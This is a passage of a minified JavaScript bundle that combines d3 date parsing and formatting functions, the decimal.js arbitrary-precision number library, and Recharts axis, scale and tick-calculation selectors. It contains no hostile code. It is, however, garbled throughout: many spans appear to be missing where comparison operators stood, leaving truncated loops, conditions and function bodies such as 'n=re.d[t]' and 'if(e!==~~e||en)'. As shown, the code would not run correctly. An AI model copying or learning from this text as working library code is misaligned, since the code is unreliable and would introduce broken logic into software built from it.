CL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function PL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function EL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function _1(e,t,n){var r=pt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function O1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function AL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function _L(e,t,n){var r=pt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function OL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function T1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function TL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function M1(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function ML(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function LL(e,t,n){var r=pt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function IL(e,t,n){var r=pt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function DL(e,t,n){var r=pt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function RL(e,t,n){var r=jL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function $L(e,t,n){var r=pt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function BL(e,t,n){var r=pt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function L1(e,t){return be(e.getDate(),t,2)}function FL(e,t){return be(e.getHours(),t,2)}function WL(e,t){return be(e.getHours()%12||12,t,2)}function UL(e,t){return be(1+Ho.count(gr(e),e),t,3)}function LN(e,t){return be(e.getMilliseconds(),t,3)}function VL(e,t){return LN(e,t)+"000"}function HL(e,t){return be(e.getMonth()+1,t,2)}function KL(e,t){return be(e.getMinutes(),t,2)}function qL(e,t){return be(e.getSeconds(),t,2)}function YL(e){var t=e.getDay();return t===0?7:t}function GL(e,t){return be(Pd.count(gr(e)-1,e),t,2)}function IN(e){var t=e.getDay();return t>=4||t===0?Wa(e):Wa.ceil(e)}function XL(e,t){return e=IN(e),be(Wa.count(gr(e),e)+(gr(e).getDay()===4),t,2)}function ZL(e){return e.getDay()}function QL(e,t){return be(cu.count(gr(e)-1,e),t,2)}function JL(e,t){return be(e.getFullYear()%100,t,2)}function eI(e,t){return e=IN(e),be(e.getFullYear()%100,t,2)}function tI(e,t){return be(e.getFullYear()%1e4,t,4)}function nI(e,t){var n=e.getDay();return e=n>=4||n===0?Wa(e):Wa.ceil(e),be(e.getFullYear()%1e4,t,4)}function rI(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+be(t/60|0,"0",2)+be(t%60,"0",2)}function I1(e,t){return be(e.getUTCDate(),t,2)}function iI(e,t){return be(e.getUTCHours(),t,2)}function aI(e,t){return be(e.getUTCHours()%12||12,t,2)}function sI(e,t){return be(1+Cd.count(yr(e),e),t,3)}function DN(e,t){return be(e.getUTCMilliseconds(),t,3)}function oI(e,t){return DN(e,t)+"000"}function lI(e,t){return be(e.getUTCMonth()+1,t,2)}function cI(e,t){return be(e.getUTCMinutes(),t,2)}function uI(e,t){return be(e.getUTCSeconds(),t,2)}function dI(e){var t=e.getUTCDay();return t===0?7:t}function fI(e,t){return be(Ed.count(yr(e)-1,e),t,2)}function RN(e){var t=e.getUTCDay();return t>=4||t===0?Ua(e):Ua.ceil(e)}function pI(e,t){return e=RN(e),be(Ua.count(yr(e),e)+(yr(e).getUTCDay()===4),t,2)}function mI(e){return e.getUTCDay()}function hI(e,t){return be(uu.count(yr(e)-1,e),t,2)}function xI(e,t){return be(e.getUTCFullYear()%100,t,2)}function vI(e,t){return e=RN(e),be(e.getUTCFullYear()%100,t,2)}function gI(e,t){return be(e.getUTCFullYear()%1e4,t,4)}function yI(e,t){var n=e.getUTCDay();return e=n>=4||n===0?Ua(e):Ua.ceil(e),be(e.getUTCFullYear()%1e4,t,4)}function bI(){return"+0000"}function D1(){return"%"}function R1(e){return+e}function $1(e){return Math.floor(+e/1e3)}var ta,$N,BN;wI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function wI(e){return ta=wL(e),$N=ta.format,ta.parse,BN=ta.utcFormat,ta.utcParse,ta}function jI(e){return new Date(e)}function kI(e){return e instanceof Date?+e:+new Date(+e)}function Jx(e,t,n,r,i,a,o,l,c,u){var d=$x(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>d8(e,a/r))},n.copy=function(){return VN(t).domain(e)},Cr.apply(n,arguments)}function _d(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Pt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Od=L([Pr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),YN=(e,t,n,r)=>r?Od(e):Pr(e),PI=(e,t,n)=>n?Od(e):Pr(e);function br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ye(t)&&ye(n))return!0}return!1}function B1(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function GN(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ye(n))i=n;else if(typeof n=="function")return;if(ye(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(br(o))return o}}function EI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(br(r))return B1(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ue(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&iy.test(i)){var c=iy.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(ue(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&ay.test(a)){var d=ay.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(br(m))return t==null?m:B1(m,t,n)}}}var es=1e9,AI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},r0,$e=!0,gn="[DecimalError] ",Ti=gn+"Invalid argument: ",n0=gn+"Exponent out of range: ",ts=Math.floor,wi=Math.pow,_I=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,qt,ct=1e7,Te=7,XN=9007199254740991,du=ts(XN/Te),oe={};oe.absoluteValue=oe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};oe.comparedTo=oe.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};oe.decimalPlaces=oe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*Te;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};oe.dividedBy=oe.div=function(e){return cr(this,new this.constructor(e))};oe.dividedToIntegerBy=oe.idiv=function(e){var t=this,n=t.constructor;return Se(cr(t,new n(e),0,1),n.precision)};oe.equals=oe.eq=function(e){return!this.cmp(e)};oe.exponent=function(){return tt(this)};oe.greaterThan=oe.gt=function(e){return this.cmp(e)>0};oe.greaterThanOrEqualTo=oe.gte=function(e){return this.cmp(e)>=0};oe.isInteger=oe.isint=function(){return this.e>this.d.length-2};oe.isNegative=oe.isneg=function(){return this.s<0};oe.isPositive=oe.ispos=function(){return this.s>0};oe.isZero=function(){return this.s===0};oe.lessThan=oe.lt=function(e){return this.cmp(e)<0};oe.lessThanOrEqualTo=oe.lte=function(e){return this.cmp(e)<1};oe.logarithm=oe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(qt))throw Error(gn+"NaN");if(n.s<1)throw Error(gn+(n.s?"NaN":"-Infinity"));return n.eq(qt)?new r(0):($e=!1,t=cr(Co(n,a),Co(e,a),a),$e=!0,Se(t,i))};oe.minus=oe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?JN(t,e):ZN(t,(e.s=-e.s,e))};oe.modulo=oe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(gn+"NaN");return n.s?($e=!1,t=cr(n,e,0,1).times(e),$e=!0,n.minus(t)):Se(new r(n),i)};oe.naturalExponential=oe.exp=function(){return QN(this)};oe.naturalLogarithm=oe.ln=function(){return Co(this)};oe.negated=oe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};oe.plus=oe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?ZN(t,e):JN(t,(e.s=-e.s,e))};oe.precision=oe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Ti+e);if(t=tt(i)+1,r=i.d.length-1,n=r*Te+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};oe.squareRoot=oe.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(gn+"NaN")}for(e=tt(l),$e=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=Hn(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ts((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(cr(l,a,o+2)).times(.5),Hn(a.d).slice(0,o)===(t=Hn(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Se(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return $e=!0,Se(r,n)};oe.times=oe.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%ct|0,t=l/ct|0;a[i]=(a[i]+t)%ct|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,$e?Se(e,f.precision):e};oe.toDecimalPlaces=oe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(Xn(e,0,es),t===void 0?t=r.rounding:Xn(t,0,8),Se(n,e+tt(n)+1,t))};oe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=qi(r,!0):(Xn(e,0,es),t===void 0?t=i.rounding:Xn(t,0,8),r=Se(new i(r),e+1,t),n=qi(r,!0,e+1)),n};oe.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?qi(i):(Xn(e,0,es),t===void 0?t=a.rounding:Xn(t,0,8),r=Se(new a(i),e+tt(i)+1,t),n=qi(r.abs(),!1,e+tt(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};oe.toInteger=oe.toint=function(){var e=this,t=e.constructor;return Se(new t(e),tt(e)+1,t.rounding)};oe.toNumber=function(){return+this};oe.toPower=oe.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(qt);if(l=new c(l),!l.s){if(e.s<1)throw Error(gn+"Infinity");return l}if(l.eq(qt))return l;if(r=c.precision,e.eq(qt))return Se(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=XN){for(i=new c(qt),t=Math.ceil(r/Te+4),$e=!1;n%2&&(i=i.times(l),W1(i.d,t)),n=ts(n/2),n!==0;)l=l.times(l),W1(l.d,t);return $e=!0,e.s<0?new c(qt).div(i):Se(i,r)}}else if(a<0)throw Error(gn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,$e=!1,i=e.times(Co(l,r+u)),$e=!0,i=QN(i),i.s=a,i};oe.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=tt(i),r=qi(i,n<=a.toExpNeg||n>=a.toExpPos)):(Xn(e,1,es),t===void 0?t=a.rounding:Xn(t,0,8),i=Se(new a(i),e,t),n=tt(i),r=qi(i,e<=n||n<=a.toExpNeg,e)),r};oe.toSignificantDigits=oe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(Xn(e,1,es),t===void 0?t=r.rounding:Xn(t,0,8)),Se(new r(n),e,t)};oe.toString=oe.valueOf=oe.val=oe.toJSON=oe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=tt(e),n=e.constructor;return qi(e,t<=n.toExpNeg||t>=n.toExpPos)};function ZN(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),$e?Se(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/Te),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/ct|0,c[a]%=ct;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,$e?Se(t,f):t}function Xn(e,t,n){if(e!==~~e||en)throw Error(Ti+e)}function Hn(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,O=r.constructor,_=r.s==i.s?1:-1,T=r.d,E=i.d;if(!r.s)return new O(r);if(!i.s)throw Error(gn+"Division by zero");for(c=r.e-i.e,N=E.length,k=T.length,h=new O(_),x=h.d=[],u=0;E[u]==(T[u]||0);)++u;if(E[u]>(T[u]||0)&&--c,a==null?b=a=O.precision:o?b=a+(tt(r)-tt(i))+1:b=a,b<0)return new O(0);if(b=b/Te+2|0,u=0,N==1)for(d=0,E=E[0],b++;(u1&&(E=e(E,d),T=e(T,d),N=E.length,k=T.length),j=N,g=T.slice(0,N),y=g.length;y=ct/2&&++S;do d=0,l=t(E,g,N,y),l<0?(v=g[0],N!=y&&(v=v*ct+(g[1]||0)),d=v/S|0,d>1?(d>=ct&&(d=ct-1),f=e(E,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(n0+tt(e));if(!e.s)return new d(qt);for($e=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(wi(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(qt),d.precision=l;;){if(i=Se(i.times(e),l),n=n.times(++c),o=a.plus(cr(i,n,l)),Hn(o.d).slice(0,l)===Hn(a.d).slice(0,l)){for(;u--;)a=Se(a.times(a),l);return d.precision=f,t==null?($e=!0,Se(a,f)):a}a=o}}function tt(e){for(var t=e.e*Te,n=e.d[0];n>=10;n/=10)t++;return t}function Zf(e,t,n){if(t>e.LN10.sd())throw $e=!0,n&&(e.precision=n),Error(gn+"LN10 precision limit exceeded");return Se(new e(e.LN10),t)}function Ir(e){for(var t="";e--;)t+="0";return t}function Co(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(gn+(h.s?"NaN":"-Infinity"));if(h.eq(qt))return new g(0);if(t==null?($e=!1,u=y):u=t,h.eq(10))return t==null&&($e=!0),Zf(g,u);if(u+=m,g.precision=u,n=Hn(x),r=n.charAt(0),a=tt(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=Hn(h.d),r=n.charAt(0),f++;a=tt(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=Zf(g,u+2,y).times(a+""),h=Co(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?($e=!0,Se(h,y)):h;for(l=o=h=cr(h.minus(qt),h.plus(qt),u),d=Se(h.times(h),u),i=3;;){if(o=Se(o.times(d),u),c=l.plus(cr(o,new g(i),u)),Hn(c.d).slice(0,u)===Hn(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(Zf(g,u+2,y).times(a+""))),l=cr(l,new g(f),u),g.precision=y,t==null?($e=!0,Se(l,y)):l;l=c,i+=2}}function F1(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ts(n/Te),e.d=[],r=(n+1)%Te,n<0&&(r+=Te),rdu||e.e<-du))throw Error(n0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Se(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=Te,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/Te),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=Te,i=r-Te+o}if(n!==void 0&&(a=wi(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/wi(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=tt(e),f.length=1,t=t-a-1,f[0]=wi(10,(Te-t%Te)%Te),e.e=ts(-t/Te)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=wi(10,Te-r),f[d]=i>0?(u/wi(10,o-i)%wi(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==ct&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=ct)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if($e&&(e.e>du||e.e<-du))throw Error(n0+tt(e));return e}function JN(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),$e?Se(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/Te),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Ir(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Ir(-i-1)+a,n&&(r=n-o)>0&&(a+=Ir(r))):i>=o?(a+=Ir(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Ir(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Ir(r))),e.s<0?"-"+a:a}function W1(e,t){if(e.length>t)return e.length=t,!0}function e4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Ti+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return F1(o,a.toString())}else if(typeof a!="string")throw Error(Ti+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,_I.test(a))F1(o,a);else throw Error(Ti+a)}if(i.prototype=oe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=e4,i.config=i.set=OI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Ti+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Ti+n+": "+r);return this}var r0=e4(AI);qt=new r0(1);const we=r0;function t4(e){var t;return e===0?t=1:t=Math.floor(new we(e).abs().log(10).toNumber())+1,t}function n4(e,t,n){for(var r=new we(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var r4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},i4=(e,t,n)=>{if(e.lte(0))return new we(0);var r=t4(e.toNumber()),i=new we(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new we(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new we(c.toNumber()):new we(Math.ceil(c.toNumber()))},TI=(e,t,n)=>{var r=new we(1),i=new we(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new we(10).pow(t4(e)-1),i=new we(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new we(Math.floor(e)))}else e===0?i=new we(Math.floor((t-1)/2)):n||(i=new we(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new we(0),tickMin:new we(0),tickMax:new we(0)};var o=i4(new we(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new we(0):(l=new we(t).add(n).div(2),l=l.sub(new we(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new we(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?a4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new we(c).mul(o)),tickMax:l.add(new we(u).mul(o))})},MI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=r4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return TI(l,i,a);var{step:d,tickMin:f,tickMax:m}=a4(l,c,o,a,0),h=n4(f,m.add(new we(.1).mul(d)),d);return n>r?h.reverse():h},LI=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=r4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=i4(new we(l).sub(o).div(c-1),a,0),d=[...n4(new we(o),new we(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},II=e=>e.rootProps.barCategoryGap,Ko=e=>e.rootProps.stackOffset,s4=e=>e.rootProps.reverseStackOrder,i0=e=>e.options.chartName,a0=e=>e.rootProps.syncId,o4=e=>e.rootProps.syncMethod,s0=e=>e.options.eventEmitter,DI=e=>e.rootProps.baseValue,Rt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},mi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},$n={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},Td=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function l4(e,t,n){if(n!=="auto")return n;if(e!=null)return Jn(e,t)?"category":"number"}function U1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},o0=L([FI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"angleAxis",V1.type))!==null&&n!==void 0?n:"category";return fu(fu({},V1),{},{type:r})}),WI=(e,t)=>e.polarAxis.radiusAxis[t],l0=L([WI,Vk],(e,t)=>{var n;if(e!=null)return e;var r=(n=l4(t,"radiusAxis",H1.type))!==null&&n!==void 0?n:"category";return fu(fu({},H1),{},{type:r})}),Md=e=>e.polarOptions,c0=L([Sr,zr,ft],oN),c4=L([Md,c0],(e,t)=>{if(e!=null)return Zt(e.innerRadius,t,0)}),u4=L([Md,c0],(e,t)=>{if(e!=null)return Zt(e.outerRadius,t,t*.8)}),UI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},d4=L([Md],UI);L([o0,d4],Td);var f4=L([c0,c4,u4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});L([l0,f4],Td);var p4=L([ze,Md,c4,u4,Sr,zr],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:Zt(o,i,i/2),cy:Zt(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),He=(e,t)=>t,qo=(e,t,n)=>n;function u0(e){return e==null?void 0:e.id}function m4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=u0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Le(f,a,null)),x=Le(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function d0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Ld=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Id(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function VI(e,t){if(e.length===t.length){for(var n=0;n{var t=ze(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ns=e=>e.tooltip.settings.axisId;function HI(e){if(e in Ms)return Ms[e]();var t="scale".concat(Io(e));if(t in Ms)return Ms[t]()}function K1(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function q1(e,t,n){if(typeof e=="function")return K1(e.copy().domain(t).range(n));if(e!=null){var r=HI(e);if(r!=null)return r.domain(t).range(n),K1(r)}}var 